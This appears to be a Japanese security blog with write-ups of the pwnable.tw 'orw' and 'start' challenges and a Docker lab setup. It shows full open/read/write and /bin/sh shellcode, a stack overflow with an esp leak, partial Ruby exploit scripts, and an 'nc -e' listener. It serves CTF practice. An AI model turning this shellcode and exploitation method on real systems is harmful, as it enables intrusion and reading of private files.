トリコロールな猫/セキュリティ

セキュリティ情報の備忘録的まとめ。

pwnable.twのorwのwrite-up。シェルコードを書く

前回の「start」のwrite-upに思いの外アクセスがあって嬉しかったので、調子に乗って早々に次の問題もやってみました。スコア100の「orw」です。

pwnable.tw

前回のwrite-upは以下。

security.nekotricolor.com

本当は今回からpwn用ツールを色々使ってみようと思ったのですが、使うと一瞬で終わっちゃうので結局使っていません。

環境

ホストはMacbook AirでOSはmacOS Catalina、検証環境はDockerで作っていて、OSはUbuntu 18.04です。
security.nekotricolor.com

以降、MBAのコマンドプロンプトは「%」、DockerのUbuntuは「#」です。

方針

challenges/のorwのページにアクセスすると、以下のようなことが書いてあります。

Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.

ということで、/home/orw/flagをopenし、readして標準出力かなにかにwriteすればフラグが分かると思われます。

事前調査

問題に書かれているものをとりあえずやってみる

問題のページに書かれているncコマンドを実行してみます。

% nc chall.pwnable.tw 10001
Give my your shellcode:

「Give "me"では?」という気がしますが気にせずリターンキーを押してみるとプロンプトに戻ります。

startと同じく、標準入力になんらかの文字列を入れるパターンのようです。

fileコマンド

問題のページからorwをダウンロードして、fileコマンドでなんのファイルなのかを見てみます。

# file orw
orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped

実行ファイルのようです。

stringsコマンド

ファイルサイズが前回より大きく、たくさん出ちゃったので途中は略。特に有益な情報はなかったです。

# strings orw
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
__stack_chk_fail
printf
(略)
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment

ファイルを実行

今回も実行ファイルですので、実行してみます。なお、orwはlibc6-i386がインストールされていない環境だと動かないようです。

# ./orw
Give my your shellcode:

最初にncコマンドで接続したときと同じ文字列が出て待ち状態になります。つまり、chall.pwnable.twの10001番ポートに接続するとこのorwが実行されるのでしょう。

文字列が入力できるときは、とりあえず大量に「a」を入力してみます。

# ./orw
Give my your shellcode:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

異常終了しました。
「たくさん文字を入れると異常終了する」ということが分かりました。

gdb上で実行する

前回と同じく、せっかく異常終了したのでgdb上で実行して大量の文字列を入力してみます。

# gdb -q ./orw
Reading symbols from ./orw...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/share/orw/orw 
Give my your shellcode:1234567890abcdefghijk

Program received signal SIGSEGV, Segmentation fault.
0x0804a060 in shellcode ()
(gdb) i r
eax            0x804a060	134520928
ecx            0x804a060	134520928
edx            0xc8	200
ebx            0x0	0
esp            0xffffd71c	0xffffd71c
ebp            0xffffd728	0xffffd728
esi            0xf7fc5000	-134459392
edi            0x0	0
eip            0x804a060	0x804a060 <shellcode>
eflags         0x10282	[ SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

eip周辺のメモリの中身を見てみますと・・

(gdb) x/10x $eip
0x804a060 <shellcode>:	0x34333231	0x38373635	0x62613039	0x66656463
0x804a070 <shellcode+16>:	0x6a696867	0x00000a6b	0x00000000	0x00000000
0x804a080 <shellcode+32>:	0x00000000	0x00000000
(gdb) 

なんとびっくり入力した文字列がそのまま実行されています。*1
文字列の長さは関係ないですね。とにかく文字列を入力、というかただリターンするだけでも異常終了すると。

ということは、もはや逆アセンブルする必要もなく、「方針」で書いた通り /home/orw/flag を open して read して write するシェルコードを標準入力に与えればいいわけですね。

シェルコードを書く

脆弱性をつくわけじゃないので「シェルコード」ではないのかな?特定のファイルをopen/read/writeするアセンブリコードです。

ファイルをopenする

/home/orw/flagというファイルを(read onlyで)openするには、以下のようなシステムコールを実行します。

open("/home/orw/flag", 0, 0)

int 0x80でシステムコールを呼び出す場合、システムコールの番号をeaxに、引数をebxから順番に設定する必要があります。
blog.ishikawa.tech

となると、以下のようなシェルコードを書く必要があります。

  1. /home/orw/flag\x00という文字列をpush(espの指す先に「/home/orw/flag\x00」という文字列が入ることになります)
  2. eaxはopen()システムコールの番号の「5」にする
  3. ebxはespと同値にする
  4. ecx、edx(open()の第二、第三引数)は「0」にする
  5. int 0x80でシステムコールを呼び出す

ただし、「\x00」が途中に入るとプログラムが終了してしまうためそこは一工夫。pwntoolsのshellcraftを参考にしました。(だったらそっちを使えって話ですが)

pwnlib.shellcraft.i386 — Shellcode for Intel 80386 — pwntools 4.0.1 documentation

これの「pwnlib.shellcraft.i386.linux.syscall」の項に、以下のような記述があります。

print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
    /* open(file='/home/pwn/flag', oflag=0, mode=0) */
    /* push b'/home/pwn/flag\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f6e
    push 0x77702f65
    push 0x6d6f682f
    /* call open() */
    push SYS_open /* 5 */
    pop eax
    int 0x80

0x1010101と0x1016660のxorは「0x00006761」、リトルエンディアンを考慮しつつ文字列に変換すると「ag\x00\x00」。つまり、/home/pwn/flag\x00の最後の4バイトになります。賢い。

文字数がちょうど一緒なので、上記の/home/pwn/flagの「pwn」の部分を「orw」にすればこのまま流用できます。実際のアセンブリコードは以下の通りです。

push 0x1010101
xor dword [esp], 0x1016660
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov ebx, esp
xor ecx, ecx
xor edx, edx
push 0x05
pop eax
int 0x80

ちなみに、前回参考にしたシェルコードの書き方の記事では、「db」という、数値を1バイトのデータとしてメモリに格納する疑似命令を使っていました。文字列が長い場合にはこっちの方が楽ですねたぶん。

book.mynavi.jp

openシステムコールの戻り値はファイルディスクリプタで、eaxにセットされます。ファイルディスクリプタは、0が標準入力、1が標準出力、2が標準エラー出力で、openシステムコールによるファイルディスクリプタは3から順に割り当てられるようです。

qiita.com

readする

ファイルディスクリプタを指定し、64バイト分readしてスタック領域に書き込むには、以下のようなシステムコールを実行します。*2

read(fd, esp, 64)

となると、以下のようなアセンブリコードを書く必要があります。

  1. ebxに、ファイルディスクリプタ(eax)をmovする
  2. ecxはespと同値にする
  3. edxは0x40(= 64)にする
  4. eaxはreadシステムコールの番号の「5」にする
  5. int 0x80でシステムコールを呼び出す

実際のアセンブリコードは以下の通りです。

mov ebx, eax
mov ecx, esp
push 0x40
pop edx
push 0x03
pop eax
int 0x80

writeする

標準出力にespの指す先を64バイト分writeするには、以下のようなシステムコールを実行します。

write(1, esp, 64)

となると、以下のようなアセンブリコードを書く必要があります。

  1. eaxはreadシステムコールの番号の「4」にする
  2. ebxは0x01にする
  3. ecxはespと同値にする
  4. edxは0x40(= 64)にする
  5. int 0x80でシステムコールを呼び出す

実際のアセンブリコードは以下の通りです。

mov ecx, esp
push 0x04
pop eax
push 0x01
pop ebx
push 0x40
pop edx
int 0x80

書いたアセンブリコードを実行してみる

先ほどのアセンブリコードをまとめてshellcode.sとします。分かりやすくするよう、ラベル(_start:とかopen:とか)をつけ、_exitとして終了処理を実行していますが、なくても大丈夫なはず。先頭の「BITS 32」は必要です。なお、終了処理は、exitシステムコール(番号は「1」)を実行するだけです。

BITS 32
global _start

_start:
	jmp open

open:
	push 0x1010101
	xor dword [esp], 0x1016660
	push 0x6c662f77
	push 0x726f2f65
	push 0x6d6f682f
	mov ebx, esp
	push 0x05
	pop eax
	xor ecx, ecx
	xor edx, edx
	int 0x80
    
read:
	mov ebx, eax
	mov ecx, esp
	push 0x40
	pop edx
	push 0x03
	pop eax
	int 0x80

write:
	mov ecx, esp
	push 0x04
	pop eax
	push 0x01
	pop ebx
	push 0x40
	pop edx
	int 0x80

_exit:
	xor eax, eax
	inc eax
	int 0x80

これのバイナリコードをターゲットホストに送信すればフラグが取れるのですが、せっかくなのでローカルホスト上に/home/orw/flagを作成し、ファイルが読めるかやってみます。

生のアセンブリコードを実行できるようにする方法は前回参考にさせていただいたブログに答えが書かれています。というかこの記事って書籍の一部なんですよね。何度も引用させていただいているので書籍が何かも載せておきます。

アセンブリコードを実行ファイルに変換するには、以下のコマンドを実行します。

# nasm -f aout shellcode.s
# ld -m elf_i386 shellcode.o

これでa.outという実行ファイルができたので、実行してみます。なお、flagの中身は「a」の羅列にしました。

# ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
?o???w???????

できました。後ろに変な文字列が入っているのは、スタック領域を(flagのサイズを超えて)64バイト分読み込んでいるからです。

(おまけ)シェルコードを短くする

レジスタに数値をセットするのにmovではなくpushとpopを使っているのは、その方がコードが短くなるからです。

movだと5バイト。

B801000000        mov eax, 0x1

pushとpopだと3バイト。

6A01              push 0x1
58                pop eax

シェルコードはものによっては書き込める領域がかなり小さかったりするので、短いに越したことはありません。今回はあまり考えなくても良さそうですが。

Capture the Flag

実行ファイルからバイナリコードを抽出する

これもどーすれば?と思いますよね。まあもう実行ファイルはできているので、gdbやnasmで逆アセンブルし、該当部分をコピペして地道に「\x」をつけてもいいんですが、それをやってくれる素晴らしいワンライナーを見つけたのでご紹介。objdumpでできるそうです。

qiita.com

実行した結果が以下。長いので略。

# objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\xeb\x00\x68\x01\x01\x01\x01\x81\x34\x24\x60\x66\x01\x01(略)

バイナリコードをターゲットホストに送信する

スクリプトを書いちゃうと答えになっちゃうので書きませんが、送信する部分は前回のスクリプトと同じなのでそちらを参照ください。

実行すると答えが出ちゃうのでそれも載せませんが、せっかくなので、/etc/passwdを読んでみた結果をどうぞ。64バイトしか読んでないので途中で切れてます。

# ruby 100orw_exploit.rb 
>> Give my your shellcode:
<< Sending shellcode....
>> root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/u

なお、実際のスクリプトはpwnable.twのwrite-upのページに載せています。クリアした人のみ閲覧可能です。

感想

脆弱性をどうこうするのではなく、制限されたシステムコールによってフラグのファイルを閲覧する、という、製品のexploitコードを書くときにはありえないシチュエーションが面白かったです。pwntoolsのシェルコード生成のライブラリにこのへんのシステムコールを実行する機能があるということは、割とポピュラーなやり方なんでしょうか?

この問題は脆弱性だけでなく、ASLRとかDEPとかも考える必要がなく、純粋にシェルコードを書くことに特化しているのがとても良かったです。シェルコードの書き方やそれを実行する方法、バイナリコードへの変換など、これまたいい勉強になりました。

*1:正確には、実行しようとして異常終了しています。

*2:64バイトじゃなくても構わないですが、長すぎるとうまく動きません。

pwnable.tw攻略のためのDockerイメージ作り〜orw編

pwnable.twの「orw」のDockerイメージについて。write-upは以下。

security.nekotricolor.com

Dockerfile

前回はいろんなことをやったのでruby環境をrbenvから作りましたが、今回は難しいことはしていないのでごくごくシンプルにしました。なお、orwはlibc6-i386が入っていないと動かないようなのでそこだけ注意。また、シェルコード作成に使うnasmも入れています。

Dockerfile.orwという名前で以下を作成します。

FROM ubuntu:18.04
RUN apt-get update && apt-get upgrade -y

# basic tools
RUN apt-get install -y \
    git \
    gdb \
    file \
    vim \
    netcat

# dev tools
RUN apt-get install -y \
    build-essential \
    libssl-dev \
    libreadline-dev \
    zlib1g-dev \
    curl \
    wget \
    ruby \
    ruby-dev

RUN apt-get install -y \
     nasm

RUN apt-get install -y \
     libc6-i386

イメージを作成する

pwnabletwという名前で、タグを「orw」としました。

% docker build -f Dockerfile.orw -t pwnabletw:orw .

orwを実行するシェルスクリプトを作成する

ホストOS上のどこか(ここでは/Users/nekotricolor/share/orw)に、start.shとして以下のシェルスクリプトを作成します。
/root/share/orw/orwは問題のバイナリファイルです。

while true; do
nc -l -p 10001 -e /root/share/orw/orw;
done

Dockerコンテナを実行する

プロセスにアタッチできるようにするオプションをつけ、/Users/nekotricolor/shareを/root/shareにマウントしつつ、コンテナを実行します。

% docker run --rm -it --cap-add=SYS_PTRACE --name pwnabletw -v /Users/nekotricolor/share:/root/share --security-opt seccomp=unconfined pwnabletw:orw
root@f71b17310dff:/# 

コンテナ上でorwを実行するシェルスクリプトを実行する

/Users/nekotricolor/shareを/root/shareにマウントしたので、先ほど作ったstart.shはコンテナ上でも使えるようになっています。これを実行すると、10001番ポートがListen状態になり、接続するとorwが実行されます。

root@f71b17310dff:/# /bin/sh /root/share/orw/start.sh

コンテナに入り、10001番ポートに接続してみる

ホストOSの別のターミナルからコンテナ内に入ります。上記のroot@以下がコンテナのIDです。

% docker exec -it f71b17310dff bash

ncコマンドで10001番ポートに接続してみます。

root@f71b17310dff:/# nc localhost 10001
Give my your shellcode: 

これで、問題を解く環境が整いました。

pwnable.tw startのwrite-up。CTFのバイナリ解析ではまず何をすればいいのかも書いてみました

pwnable.twのスコア100の問題、「start」のwrite-upです。

pwnable.tw

CTF for Girlsのバイナリ解析の講師をやったときに、講義後に実習ということで簡単な問題をやってもらったのですが、まず何をしていいのか分からないという人が結構いて、その辺を説明しなかったことをずっと後悔していたので、だいぶ詳細に解説してみました。問題自体は基本をおさえたシンプルなもので、バイナリ解析の勉強にはとてもいいのではないかと思います。

なお、諸々思い出すためにも、pwn用ツールは使わずゆっくりじっくりやっています。*1

環境

ホストはMacbook AirでOSはmacOS Catalina、検証環境はDockerで作っていて、OSはUbuntu 18.04です。
検証環境はVirtualBoxでも実機でもなんでも構いません。私は母艦のMBAが不安定なのでこれを機にDockerイメージを作ってみました。
security.nekotricolor.com

以降、MBAのコマンドプロンプトは「%」、Ubuntuは「#」です。

まず何をするか

そもそもフラグとは

「CTFとはCapture the Flagのことで、与えられた問題を解いてフラグを取得する競技です」といわれますが、そもそもフラグってなんなのか、私は最初見当がつきませんでした。
結論から言うと、基本的にフラグは文字列です。

例えば:

  • flag.txtに「my lovely willian」と書かれている
  • ポップアップで「The flag is {my lovely willian}」と表示される
  • 画像ファイルに文字列で「The flag is {my lovely willian}」と書かれている

これらの問題のフラグは全て、「my lovely willian」という文字列です。({}が含まれる場合もある)

pwnable.twの場合、トップページに「The flag is usually at /home/xxx/flag」と書かれていますので、通常はログインしたユーザのホームディレクトリにある、「flag」というファイルに書かれている文字列がフラグということになります。

問題に書かれているものをとりあえずやってみる

challenges/のstartをクリックすると、以下のような画面が出ます。
f:id:nekotricolor:20200210143837p:plain

とりあえず書いてあるコマンドを実行してみます。

% nc chall.pwnable.tw 10000
Let's start the CTF:
%

「Let's start the CTF:」という文字列が出て待ち状態になり、リターンを押すと接続が切れます。どうやらここになにか文字列を入れればいいらしい、と予想がつきます。

startファイルをダウンロード

上記の画面から「start」がダウンロードできます。ホストとDockerコンテナで共有しているフォルダに置いて、このファイルをDocker上で調べてみます。

fileコマンド

fileコマンドで、このファイルがなんなのかを確認。

# file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

実行ファイルのようです。

stringsコマンド

フラグの文字列がまんま入ってる可能性も無きにしも非ずなので、stringsコマンドで、ファイル内の表示可能な文字列を表示してみます。ファイルサイズが大きいとブワッと出てしまいますが、このファイルは564バイトしかないので安心。

# strings start
hCTF:hthe hart hs sthLet'
start.s
_exit
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text

残念ながらフラグはありませんでしたが、__bss_startとか.textとかでてるので、実行ファイルで確定のようですね。

ファイルを実行

提供されたファイルが何か、で次に何するかを決めます。といってもまだ難しいことをするわけではなく、

  • 実行ファイルなら実行する
  • 画像ファイルならブラウザ等で表示する
  • tcpdumpの結果ならWireshark等で開く

という感じです。

今回は実行ファイルですので、実行してみます。

# ./start
Let's start the CTF:

最初にncコマンドで接続したときと同じ文字列が出て待ち状態になります。つまり、chall.pwnable.twの10000番ポートに接続するとこのstartが実行されるのでしょう。

文字列が入力できるときは、とりあえず大量に「a」を入力してみます。

# ./start
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)

異常終了しました。
「たくさん文字を入れると異常終了する」ということが分かりました。

Exploit

ここから難しくなってきます。デバッグの方法やレジスタ・スタック等の基本については、手前味噌な上に未完ですが、こちらを参照していただければ幸いです。gdbではなくOllyDbgというWindowsのGUIのツールを使って説明しています。こちらの方がアセンブリコードやレジスタなどの仕組みそのものを知るには分かりやすいと思います。

security.nekotricolor.com

gdb上で実行する

すぐにファイルをdumpしてアセンブリコードを読んでもいいのですが、せっかく異常終了したので先にgdb上で実行して大量の文字列を入力してみます。

# gdb -q start
Reading symbols from start...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/share/start
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()

あらやだいきなりeipが書き換わってる。バッファオーバーフローですね。
どこの部分がeipになっているか、古典的方法で確認します。

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/share/start 
Let's start the CTF:1234567890abcdefghijklmnopqrstuvwxyz!-#$%&'()=~|`{+*}<>?_

Program received signal SIGSEGV, Segmentation fault.
0x6e6d6c6b in ?? ()

0x6e6d6c6bということは、「nmlk」の部分、21文字目からの4バイトですね。(リトルエンディアンなので、表示が逆になっています)

objdumpによる逆アセンブル

startが何をやっているかは、objdumpコマンドで見ることができます。長いとここで挫折しますが、startはとても短いので読む気になります。読みやすくするよう行番号を付けました。

# objdump -D start
start:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
[01] 8048060:	54                   	push   %esp
[02] 8048061:	68 9d 80 04 08       	push   $0x804809d
[03] 8048066:	31 c0                	xor    %eax,%eax
[04] 8048068:	31 db                	xor    %ebx,%ebx
[05] 804806a:	31 c9                	xor    %ecx,%ecx
[06] 804806c:	31 d2                	xor    %edx,%edx
[07] 804806e:	68 43 54 46 3a       	push   $0x3a465443
[08] 8048073:	68 74 68 65 20       	push   $0x20656874
[09] 8048078:	68 61 72 74 20       	push   $0x20747261
[10] 804807d:	68 73 20 73 74       	push   $0x74732073
[11] 8048082:	68 4c 65 74 27       	push   $0x2774654c
[12] 8048087:	89 e1                	mov    %esp,%ecx
[13] 8048089:	b2 14                	mov    $0x14,%dl
[14] 804808b:	b3 01                	mov    $0x1,%bl
[15] 804808d:	b0 04                	mov    $0x4,%al
[16] 804808f:	cd 80                	int    $0x80
[17] 8048091:	31 db                	xor    %ebx,%ebx
[18] 8048093:	b2 3c                	mov    $0x3c,%dl
[19] 8048095:	b0 03                	mov    $0x3,%al
[20] 8048097:	cd 80                	int    $0x80
[21] 8048099:	83 c4 14             	add    $0x14,%esp
[22] 804809c:	c3                   	ret    

0804809d <_exit>:
 804809d:	5c                   	pop    %esp
 804809e:	31 c0                	xor    %eax,%eax
 80480a0:	40                   	inc    %eax
 80480a1:	cd 80                	int    $0x80

逆アセンブルした結果を読む

_start関数を読んでいきます。_exit関数は単にexitするだけみたいなので割愛。

01行目:この時点でのespの値をスタックに格納。
02行目:_exitの先頭アドレスを格納。
03〜06行目:eax、ebx、ecx、edxを0x00に。
07〜11行目:「Let's start the CTF:」という文字列をスタックに格納
12行目:この時点でのespの値をecxに格納
13行目:edxに0x14を格納
14行目:ebxに0x01を格納
15行目:eaxに0x04を格納
16行目:call命令を実行。何をどう実行するかはレジスタの値で決まる。ここでは、標準出力に(ebxが
0x01)、ecx(12行目によりespと同値)を先頭アドレスとした文字列を、20バイト(edxが0x14=20)write(eaxが0x04)する。つまり、標準出力に「Let's start CTF:」をwriteする。
17行目:ebxを0x00に。
18行目:edxに0x3cを格納。
19行目:eaxに0x03を格納。
20行目:call命令を実行。ここでは、標準入力から(ebxが0x00)、60バイト(edxが0x3c=60)read(eaxが0x03)するという意味。
21行目:espに0x14を加える。
22行目:retする。

ということでstartは「Let's start CTF:」と表示し、標準入力から60バイト読み込み、終了している、ということが分かります。たいしたことはやっていません。

バッファオーバーフローはどこで起こるのか

スタックの状態を図にすると以下のようになります。

f:id:nekotricolor:20200210165823p:plain

20バイト分しか書き込める場所がないのに、read()で60バイト読み込んでいるところが脆弱性です。read()した瞬間、緑色の部分が標準入力された文字列に書き換わります。入力が20バイト以内なら何も起きませんが、20バイト以上になると22行目でretしたときにジャンプする先のアドレス(0x0804809d、つまり_exit関数の先頭アドレス)が書き換わってしまいます。「aaaa...」と入力すると、上図一番右の「????」の部分も「aaaa」と書き換わってしまい、retするとeipが0x61616161になってしまうので、Segmentation faultしてしまうというわけです。

以下、eipが書き換わる瞬間を捉えたgdbです。

# gdb -q ./start
Reading symbols from ./start...(no debugging symbols found)...done.
(gdb) b _start
Breakpoint 1 at 0x8048060
(gdb) r
Starting program: /root/share/start

Breakpoint 1, 0x08048060 in _start ()
(gdb) disas
Dump of assembler code for function _start:
=> 0x08048060 <+0>:	push   %esp
   0x08048061 <+1>:	push   $0x804809d
   0x08048066 <+6>:	xor    %eax,%eax
   0x08048068 <+8>:	xor    %ebx,%ebx
   0x0804806a <+10>:	xor    %ecx,%ecx
   0x0804806c <+12>:	xor    %edx,%edx
   0x0804806e <+14>:	push   $0x3a465443
   0x08048073 <+19>:	push   $0x20656874
   0x08048078 <+24>:	push   $0x20747261
   0x0804807d <+29>:	push   $0x74732073
   0x08048082 <+34>:	push   $0x2774654c
   0x08048087 <+39>:	mov    %esp,%ecx
   0x08048089 <+41>:	mov    $0x14,%dl
   0x0804808b <+43>:	mov    $0x1,%bl
   0x0804808d <+45>:	mov    $0x4,%al
   0x0804808f <+47>:	int    $0x80
   0x08048091 <+49>:	xor    %ebx,%ebx
   0x08048093 <+51>:	mov    $0x3c,%dl
   0x08048095 <+53>:	mov    $0x3,%al
   0x08048097 <+55>:	int    $0x80
   0x08048099 <+57>:	add    $0x14,%esp
   0x0804809c <+60>:	ret    
End of assembler dump.
(gdb) b *0x0804809c
Breakpoint 2 at 0x804809c
(gdb) c
Continuing.
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 2, 0x0804809c in _start ()
(gdb) i r
eax            0x2b	43
ecx            0xffffd724	-10460
edx            0x3c	60
ebx            0x0	0
esp            0xffffd738	0xffffd738
ebp            0x0	0x0
esi            0x0	0
edi            0x0	0
eip            0x804809c	0x804809c <_start+60>
eflags         0x282	[ SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x0	0
(gdb) x/10x $esp
0xffffd738:	0x61616161	0x61616161	0x61616161	0x61616161
0xffffd748:	0x61616161	0xff0a6161	0xffffd896	0xffffd8ac
0xffffd758:	0xffffd8b4	0xffffd8c4
(gdb) si
0x61616161 in ?? ()
(gdb) i r
eax            0x2b	43
ecx            0xffffd724	-10460
edx            0x3c	60
ebx            0x0	0
esp            0xffffd73c	0xffffd73c
ebp            0x0	0x0
esi            0x0	0
edi            0x0	0
eip            0x61616161	0x61616161
eflags         0x282	[ SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x0	0

シェルコードを書く

シェルコードと一言で言ってもいろいろなものがあるわけですが、今回は最もシンプルな、/bin/shを起動するものを使います。/bin/shを起動することで、以降任意のコマンドが実行できます。

/bin/shを起動するには、以下のシステムコールを実行します。

execve("/bin/sh", ["/bin/sh", 0], [0]);

execve()のシステムコールの番号は0x11、つまりeaxを0x11としてint 80すれば良い。引数の"/bin/sh"はスタックに入れてそこのアドレスをebxに・・・書くのが面倒なので以下のサイトを参考にさせていただきました。ただし、コードを短くするためにecxとedxに0x00をmovしているところはxorに変えました。

book.mynavi.jp

シェルコードの先頭アドレスはどこか

startをexploitして任意のコマンドを実行できるようにするためには、

  • 任意の文字列 * 20
  • シェルコードの先頭アドレス
  • /bin/shを起動するシェルコード

をひとまとめにした文字列を、「Let's start CTF:」と表示された後に書き込めば良い、ということになります。
図にするとこういう感じです。

f:id:nekotricolor:20200213162327j:plain:w180

では、シェルコードの先頭アドレスとはどこなのか?

ここは結構考えさせられました。Ubuntuでは、アドレス空間配置のランダム化、ASLRがデフォルトで有効になっています。つまり、スタック領域の配置が、startが実行されるごとに大きく変わってしまうため、スタック領域に書き込んだシェルコードの先頭アドレスがどこなのか、事前には分かりません。

ということで、_start関数を実行中に、スタック領域のアドレス、espなりebpなりを取ってこなければなりません。

そこで注目したのは、_start関数の01行目、なぜかespをpushしているんですよね。
普通、関数が始まる時というのはebpをpushするものなのになんでだろう?と思ったのですが、これとwrite()を組み合わせることで、標準出力にespを表示させることができるのです!

どういうことかというと:
たとえば、20個の「a」を入力した場合、retが実行された時点でのスタックの状態は以下のようになります。

f:id:nekotricolor:20200213143043p:plain

retはpopしてスタックから値を取り出し、その値にjmpする命令です。つまりretが実行されると(popにより)espが4バイト下がって、start開始時のespが入っているところを指します。

f:id:nekotricolor:20200213143101p:plain

ここで思い出すのはアセンブリコードの16行目。

16行目:call命令を実行。何をどう実行するかはレジスタの値で決まる。ここでは、標準出力に(ebxが0x01)、ecx(12行目によりespと同値)を先頭アドレスとした文字列を、20バイト分(edxが0x14=20)write(eaxが0x04)する。

ちょっと分かりづらいんですが、上図のように、espが、start開始時のespが入っているところを指しているときに12行目〜16行目を実行すれば、start開始時のespがwrite()されることになります。

つまり。最初に、

[任意の文字列] * 20バイト + 12行目のアドレス(0x08048087)

を与え、0x08048087にjmpさせてstart開始時のespをwrite()で標準出力に表示させ、それをもとにシェルコードの先頭アドレスを求めて、続けて

[任意の文字列] * 20バイト + シェルコードの先頭アドレス + シェルコード

を与えれば、シェルコードが実行されるはずです。

Capture the Flag

さて、いよいよリモートホスト上で実行されるstartに前述の文字列を与えていくわけですが、ここからはexploitとはまた少し違う問題があります。標準入力の特定の部分に、アドレスやシェルコードをどうやって書くか。これも初めてやるとき戸惑いませんでした?人の手では書くことはできませんよね。「b80b0000・・」とか手で入力しても文字として認識されるだけですので。

そこで、バイナリを含む文字列を送信するようなスクリプトを書くことになります。

10000番ポートに接続し、文字列を送信するスクリプト

今回の問題では、リモートホストの10000番ポートに接続して、「Let's start CTF:」という文字列が表示された後に、前述したアドレスやシェルコードを含む文字列を送信する必要があります。そういうスクリプトをRubyで書きます。Pythonの方が書きやすいと思いますしCでもPerlでもなんでもOKです。

まずはDocker環境の中で、自身の10000番ポートに接続して文字列を入力するRubyスクリプトを書いてみました。*2

# encoding: ASCII-8BIT
require 'socket'

HOSTNAME = "localhost"
#HOSTNAME = "chall.pwnable.tw"
PORTNUM = 10000

s = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
sockaddr = Socket.sockaddr_in(PORTNUM, HOSTNAME)
s.connect(sockaddr)

print(">> ", s.recvfrom(4096)[0], "\n")

print("<< aaaaaaaaaaaa\n")
s.write("aaaaaaaaaaaa")

print(">> ", s.recvfrom(4096)[0], "\n")

これを実行すると、ローカルホストの10000番ポートに接続し、返答を受け取り、「aaaaaaaaaaaa」という文字列を送信し、返答を受け取る、ことができます。
リモートホストからの返信には「>>」を、こちらからの送信には「<<」を先頭につけています。このRubyスクリプトを実行すると以下のような結果になります。

 # ruby socket_test.rb 
 >> Let's start the CTF:
 << aaaaaaaaaaaa
 >> 

espを取得してみる

start開始時のespを取得するには、[任意の文字列] * 20バイト + 12行目のアドレス(0x08048087)を送信します。受信した最初の4バイトがstart開始時のespです。packとかunpackとかほんとハマったんですけど、そこは本筋と関係ないので割愛します。

# encoding: ASCII-8BIT
require 'socket'

HOSTNAME = "localhost"
#HOSTNAME = "chall.pwnable.tw"
PORTNUM = 10000

ret_addr_arry = []
addr_for_esp = "\x87\x80\x04\x08"

s = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
sockaddr = Socket.sockaddr_in(PORTNUM, HOSTNAME)
s.connect(sockaddr)

print(">> ", s.recvfrom(4096)[0], "\n")

payload = "a" * 20
payload = payload + addr_for_esp
s.write(payload)

esp = s.recvfrom(4)[0].unpack("I*")[0]
print(">> ", esp.to_s(16), "\n")

これを実行してみると、今回のstart開始時のespは0xffb94ca0であることがわかります。

 # ruby get_esp.rb 
 >> Let's start the CTF:
 >> esp: ffb94ca0

任意のコマンドを実行できるようにする

上記スクリプトの後ろに、[任意の文字列] * 20バイト + シェルコードの先頭アドレス + シェルコードという文字列を作って送信するスクリプトを追加します。
スクリプトはずばり答えになっちゃうので載せませんが(pwnable.twのwrite-upにあります。クリアした人のみ読めるページです)、これで、任意のコマンドが実行できるようになりました。idコマンドとuname -aコマンドを実行した結果を書いておきます。

# ruby 100start_exploit.rb 
 >> Let's start the CTF:
 >> esp: ffacb510
 << Sending shellcode....
 >> ????????
 << id
 >> uid=0(root) gid=0(root) groups=0(root)

 << uname -a
 >> Linux a3b4df01deae 4.19.76-linuxkit #1 SMP Thu Oct 17 19:31:58 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

(おまけ)プロセスにアタッチしてみる

スクリプトの途中にsleep()を入れ、別のターミナルでgdbでプロセスにアタッチすると、start実行途中のレジスタやスタックの状態がどうなっているか見られます。自分の想定している通りの文字列が送信されているか、シェルコードの先頭アドレスは正しいか、など確認することができます。

# ps -aef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 02:12 pts/0    00:00:00 /bin/bash
root       166     0  0 02:13 pts/2    00:00:00 bash
root       340     0  0 02:16 pts/1    00:00:00 bash
root       968     1  0 02:48 pts/0    00:00:00 /bin/sh start.sh
root      1217   968  0 02:55 pts/0    00:00:00 start
root      1218   340  2 02:56 pts/1    00:00:00 ruby 100start_exploit.rb
root      1246   166  0 02:56 pts/2    00:00:00 ps -aef

startのプロセス番号は「1217」ですね。gdbでプロセスにアタッチするには、-p [プロセス番号]をつけます。

# gdb -q -p 1217
Attaching to process 1217
Reading symbols from /root/share/start...(no debugging symbols found)...done.
0x08048099 in _start ()
(gdb) disas
